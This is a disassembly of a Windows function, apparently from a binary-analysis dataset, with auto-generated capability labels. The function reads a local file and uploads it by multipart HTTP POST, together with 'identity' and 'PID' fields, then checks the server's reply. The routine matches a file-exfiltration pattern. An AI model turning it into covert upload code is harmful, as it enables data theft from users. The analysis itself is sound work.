Function at 0x412f30
Capabilities:
Connect to http server
Create http request
Get file size
Read and send data from client to server
Read data from internet
Read file on windows
Receive data
Resolve function by parsing pe exports
Send data
Send http request

Disassembly:
push 0xffffffffffffffff
push 0x4e0ce9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xb4
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov ecx, 9
xor eax, eax
lea edi, [esp + 0xa0]
mov dword [esp + 0x9c], ebp
push 0xc800
rep stosd dword es:[edi], eax
mov dword [esp + 0xd0], 1
call fcn.004d35be
mov esi, dword [esp + 0xe8]
add esp, 4
mov ebx, eax
mov al, byte [esp + 0x13]
push ebp
lea ecx, [esp + 0x7c]
mov dword [esp + 0x30], ebx
mov dword [esp + 0x18], ebp
mov dword [esp + 0x60], ebp
mov dword [esp + 0x38], ebp
mov dword [esp + 0x64], ebp
mov dword [esp + 0x68], ebp
mov dword [esp + 0x34], 0xea60
mov byte [esp + 0x7c], al
call fcn.00406ab0
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
lea ecx, [esp + 0x80]
call fcn.00406740
lea ecx, [esp + 0x78]
push str..ico
lea edx, [esp + 0x90]
push ecx
push edx
mov byte [esp + 0xd8], 2
call fcn.00409ef0
add esp, 0xc
mov ecx, dword [0x4e9898]
mov byte [esp + 0xcc], 3
push ecx
push ebp
push eax
lea ecx, [esp + 0x84]
call fcn.00406540
push 1
lea ecx, [esp + 0x90]
mov byte [esp + 0xd0], 2
call fcn.00406ab0
mov dl, byte [esp + 0x13]
push ebp
lea ecx, [esp + 0x50]
mov byte [esp + 0x50], dl
call fcn.00406ab0
mov edi, str._____________________________40099aabb3793
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str._____________________________40099aabb3793
lea ecx, [esp + 0x54]
call fcn.00406740
mov al, byte [esp + 0x13]
mov byte [esp + 0xcc], 4
mov byte [esp + 0x68], al
push ebp
lea ecx, [esp + 0x6c]
call fcn.00406ab0
mov edi, str.Content_Type:_multipart_form_data__boundary
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.Content_Type:_multipart_form_data__boundary
lea ecx, [esp + 0x70]
call fcn.00406740
mov ecx, dword [0x4e9898]
lea edx, [esp + 0x4c]
push ecx
push ebp
push edx
lea ecx, [esp + 0x74]
mov byte [esp + 0xd8], 5
call fcn.004063a0
mov edi, 0x508b64
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x508b64
lea ecx, [esp + 0x70]
call fcn.00406480
mov al, byte [esp + 0x13]
push ebp
lea ecx, [esp + 0x3c]
mov byte [esp + 0x3c], al
call fcn.00406ab0
mov edi, 0x508b60
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x508b60
lea ecx, [esp + 0x40]
call fcn.00406740
mov ecx, dword [0x4e9898]
lea edx, [esp + 0x4c]
push ecx
push ebp
push edx
lea ecx, [esp + 0x44]
mov byte [esp + 0xd8], 6
call fcn.004063a0
mov edi, str._r_nContent_Disposition:_form_data__filename_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str._r_nContent_Disposition:_form_data__filename_
lea ecx, [esp + 0x40]
call fcn.00406480
mov eax, dword [0x4e9898]
lea ecx, [esp + 0x78]
push eax
push ebp
push ecx
lea ecx, [esp + 0x44]
call fcn.004063a0
mov edi, str.____name_upload_data_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.____name_upload_data_
lea ecx, [esp + 0x40]
call fcn.00406480
mov edi, str.__r_nContent_Type:_text_ml_r_n_r_n
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str.__r_nContent_Type:_text_ml_r_n_r_n
lea ecx, [esp + 0x40]
call fcn.00406480
mov dl, byte [esp + 0x13]
push ebp
lea ecx, [esp + 0x1c]
mov byte [esp + 0x1c], dl
call fcn.00406ab0
mov edi, 0x508b64
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebp, ecx
lea ecx, [esp + 0x1c]
push ebp
call fcn.00407ec0
test al, al
je 0x4131e1
mov edi, dword [esp + 0x1c]
mov ecx, ebp
mov eax, ecx
mov esi, 0x508b64
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
call fcn.00407ea0
mov edi, 0x508b60
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0xcc], 7
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x508b60
lea ecx, [esp + 0x20]
call fcn.00406480
mov ecx, dword [0x4e9898]
lea edx, [esp + 0x4c]
push ecx
push 0
push edx
lea ecx, [esp + 0x24]
call fcn.004063a0
mov edi, str._r_nContent_Disposition:_form_data__name_identity_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str._r_nContent_Disposition:_form_data__name_identity_
lea ecx, [esp + 0x20]
call fcn.00406480
mov edi, str._r_n_r_n
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str._r_n_r_n
lea ecx, [esp + 0x20]
call fcn.00406480
mov edx, dword [esp + 0xe4]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
lea ecx, [esp + 0x20]
call fcn.00406480
mov edi, 0x508b64
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x508b64
lea ecx, [esp + 0x20]
call fcn.00406480
mov edi, 0x508b60
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x508b60
lea ecx, [esp + 0x20]
call fcn.00406480
mov eax, dword [0x4e9898]
lea ecx, [esp + 0x4c]
push eax
push 0
push ecx
lea ecx, [esp + 0x24]
call fcn.004063a0
mov edi, str._r_nContent_Disposition:_form_data__name_PID_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str._r_nContent_Disposition:_form_data__name_PID_
lea ecx, [esp + 0x20]
call fcn.00406480
mov edi, str._r_n_r_n
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push str._r_n_r_n
lea ecx, [esp + 0x20]
call fcn.00406480
mov edi, dword [esp + 0xe4]
or ecx, 0xffffffff
xor eax, eax
mov esi, edi
repne scasb al, byte es:[edi]
mov edx, dword [0x4e9898]
not ecx
dec ecx
mov ebp, ecx
mov ecx, dword [esp + 0x20]
sub edx, ecx
cmp edx, ebp
ja 0x413330
call fcn.004bfa61
test ebp, ebp
jbe 0x413374
mov eax, dword [esp + 0x20]
push 0
lea ecx, [esp + 0x1c]
lea ebx, [eax + ebp]
push ebx
call fcn.00407ec0
test al, al
je 0x413370
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
push ebx
lea edi, [edx + ecx]
mov ecx, ebp
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
call fcn.00407ea0
mov ebx, dword [esp + 0x2c]
mov edi, str._r_n__
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x20]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
mov ecx, dword [0x4e9898]
sub ecx, edx
cmp ecx, esi
ja 0x41339a
call fcn.004bfa61
test esi, esi
jbe 0x4133df
mov edx, dword [esp + 0x20]
push 0
lea ecx, [esp + 0x1c]
lea ebp, [edx + esi]
push ebp
call fcn.00407ec0
test al, al
je 0x4133df
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
push ebp
lea edi, [ecx + eax]
mov ecx, esi
mov edx, ecx
mov esi, str._r_n__
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
call fcn.00407ea0
mov eax, dword [0x4e9898]
lea ecx, [esp + 0x4c]
push eax
push 0
push ecx
lea ecx, [esp + 0x24]
call fcn.004063a0
mov edi, str.___r_n
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [0x4e9898]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
mov ecx, dword [esp + 0x20]
sub edx, ecx
cmp edx, esi
ja 0x41341b
call fcn.004bfa61
xor edi, edi
cmp esi, edi
jbe 0x413463
mov eax, dword [esp + 0x20]
push edi
lea ecx, [esp + 0x1c]
lea ebp, [eax + esi]
push ebp
call fcn.00407ec0
test al, al
je 0x413463
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
push ebp
lea edi, [edx + ecx]
mov ecx, esi
mov eax, ecx
mov esi, str.___r_n
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
call fcn.00407ea0
xor edi, edi
push edi
push edi
push edi
push 1
push str.HttpSendRequest
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, edi
mov dword [esp + 0x2c], eax
je 0x41374b
mov ecx, dword [esp + 0xe0]
mov edx, dword [esp + 0xd4]
push 1
push edi
push 3
push edi
push edi
push ecx
push edx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
cmp eax, edi
mov dword [esp + 0x88], eax
jne 0x4134b1
mov dword [esp + 0x14], edi
jmp 0x413716
mov ecx, dword [esp + 0xd8]
push edi
push 0x4000000
push edi
push edi
push edi
push ecx
push 0x508a64
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
xor esi, esi
cmp edi, esi
mov dword [esp + 0x5c], edi
jne 0x4134e3
mov dword [esp + 0x14], esi
jmp 0x413714
mov edx, dword [esp + 0xdc]
push esi
push 0x80
push 3
push esi
push 1
push SysReAllocStringLen
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x34], ebp
jne 0x413515
mov dword [esp + 0x14], esi
jmp 0x413714
mov esi, dword [sym.imp.WININET.dll_InternetSetOptionA]
lea eax, [esp + 0x30]
push 4
push eax
push 2
push edi
call esi
lea ecx, [esp + 0x30]
push 4
push ecx
push 5
push edi
call esi
lea edx, [esp + 0x30]
push 4
push edx
push 7
push edi
call esi
mov eax, dword [esp + 0x6c]
xor esi, esi
cmp eax, esi
jne 0x41354e
mov eax, 0x4e9894
mov ecx, dword [esp + 0x70]
push 0x20000000
push ecx
push eax
push edi
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
test eax, eax
jne 0x413573
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x14], esi
jmp 0x413714
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, dword [esp + 0x20]
mov ecx, dword [esp + 0x40]
add ecx, edx
push esi
push esi
lea edx, [esp + 0xa4]
push esi
add ecx, eax
push edx
push edi
mov dword [esp + 0xb0], 0x28
mov dword [esp + 0xcc], ecx
call dword [sym.imp.WININET.dll_HttpSendRequestExA]
test eax, eax
jne 0x4135be
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x14], esi
jmp 0x413714
mov esi, dword [esp + 0x64]
inc esi
cmp esi, 1
mov dword [esp + 0x64], esi
jne 0x413604
mov eax, dword [esp + 0x40]
cmp eax, 0xc800
jbe 0x4135dc
mov eax, 0xc7ff
mov ecx, eax
mov eax, dword [esp + 0x3c]
test eax, eax
mov dword [esp + 0x28], ecx
jne 0x4135ef
mov eax, 0x4e9894
push ecx
push eax
push ebx
call fcn.004af060
mov eax, dword [esp + 0x34]
add esp, 0xc
mov byte [eax + ebx], 0
jmp 0x41361c
lea ecx, [esp + 0x28]
push 0
push ecx
push 0xc800
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x413663
mov eax, dword [esp + 0x28]
lea edx, [esp + 0x48]
push edx
push eax
push ebx
push edi
call dword [sym.imp.WININET.dll_InternetWriteFile]
test eax, eax
je 0x41365d
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x60]
mov eax, dword [esp + 0x28]
add edx, ecx
cmp eax, 0xc800
mov dword [esp + 0x60], edx
jae 0x413650
cmp esi, 1
ja 0x413670
cmp esi, 0x7d0
ja 0x413670
jmp 0x4135be
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x14], 0
jmp 0x413714
mov ecx, dword [esp + 0x20]
cmp ecx, 0xc800
jbe 0x413681
mov ecx, 0xc7ff
mov eax, dword [esp + 0x1c]
xor esi, esi
cmp eax, esi
mov dword [esp + 0x28], ecx
jne 0x413694
mov eax, 0x4e9894
push ecx
push eax
push ebx
call fcn.004af060
mov edx, dword [esp + 0x34]
add esp, 0xc
lea eax, [esp + 0x48]
mov byte [edx + ebx], 0
mov ecx, dword [esp + 0x28]
push eax
push ecx
push ebx
push edi
call dword [sym.imp.WININET.dll_InternetWriteFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push esi
push esi
push edi
mov dword [esp + 0x44], esi
call dword [sym.imp.WININET.dll_HttpEndRequestA]
test eax, eax
jne 0x4136d8
mov dword [esp + 0x14], esi
jmp 0x413714
lea edx, [esp + 0x28]
push edx
push 0xff
push ebx
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x4136f4
mov dword [esp + 0x14], esi
jmp 0x413714
mov eax, dword [esp + 0x28]
push str.UW10_200:
push ebx
mov byte [eax + ebx], 0
call fcn.004af770
add esp, 8
neg eax
sbb eax, eax
neg eax
mov dword [esp + 0x14], eax
xor edi, edi
mov ecx, dword [esp + 0x2c]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ecx
call esi
mov eax, dword [esp + 0x5c]
cmp eax, edi
je 0x41372e
push eax
call esi
mov eax, dword [esp + 0x88]
cmp eax, edi
je 0x41373c
push eax
call esi
mov eax, dword [esp + 0x34]
cmp eax, edi
je 0x41374b
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, edi
je 0x413758
push ebx
call fcn.004d35e7
add esp, 4
mov eax, dword [esp + 0x1c]
cmp eax, edi
je 0x41377d
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x413774
cmp al, 0xff
je 0x413774
dec al
mov byte [ecx], al
jmp 0x41377d
push ecx
call fcn.004d35e7
add esp, 4
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x1c], edi
cmp eax, edi
mov dword [esp + 0x20], edi
mov dword [esp + 0x24], edi
je 0x4137ae
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x4137a5
cmp al, 0xff
je 0x4137a5
dec al
mov byte [ecx], al
jmp 0x4137ae
push ecx
call fcn.004d35e7
add esp, 4
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x3c], edi
cmp eax, edi
mov dword [esp + 0x40], edi
mov dword [esp + 0x44], edi
je 0x4137df
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x4137d6
cmp al, 0xff
je 0x4137d6
dec al
mov byte [ecx], al
jmp 0x4137df
push ecx
call fcn.004d35e7
add esp, 4
mov eax, dword [esp + 0x50]
mov dword [esp + 0x6c], edi
cmp eax, edi
mov dword [esp + 0x70], edi
mov dword [esp + 0x74], edi
je 0x413810
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x413807
cmp al, 0xff
je 0x413807
dec al
mov byte [ecx], al
jmp 0x413810
push ecx
call fcn.004d35e7
add esp, 4
mov eax, dword [esp + 0x7c]
mov dword [esp + 0x50], edi
cmp eax, edi
mov dword [esp + 0x54], edi
mov dword [esp + 0x58], edi
je 0x413841
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x413838
cmp al, 0xff
je 0x413838
dec al
mov byte [ecx], al
jmp 0x413841
push ecx
call fcn.004d35e7
add esp, 4
lea ecx, [esp + 0xd4]
mov dword [esp + 0x7c], edi
mov dword [esp + 0x80], edi
mov dword [esp + 0x84], edi
mov byte [esp + 0xcc], 0
call fcn.004d387d
lea ecx, [esp + 0xe4]
mov dword [esp + 0xcc], 0xffffffff
call fcn.004d387d
mov ecx, dword [esp + 0xc4]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0xc0
ret 0x14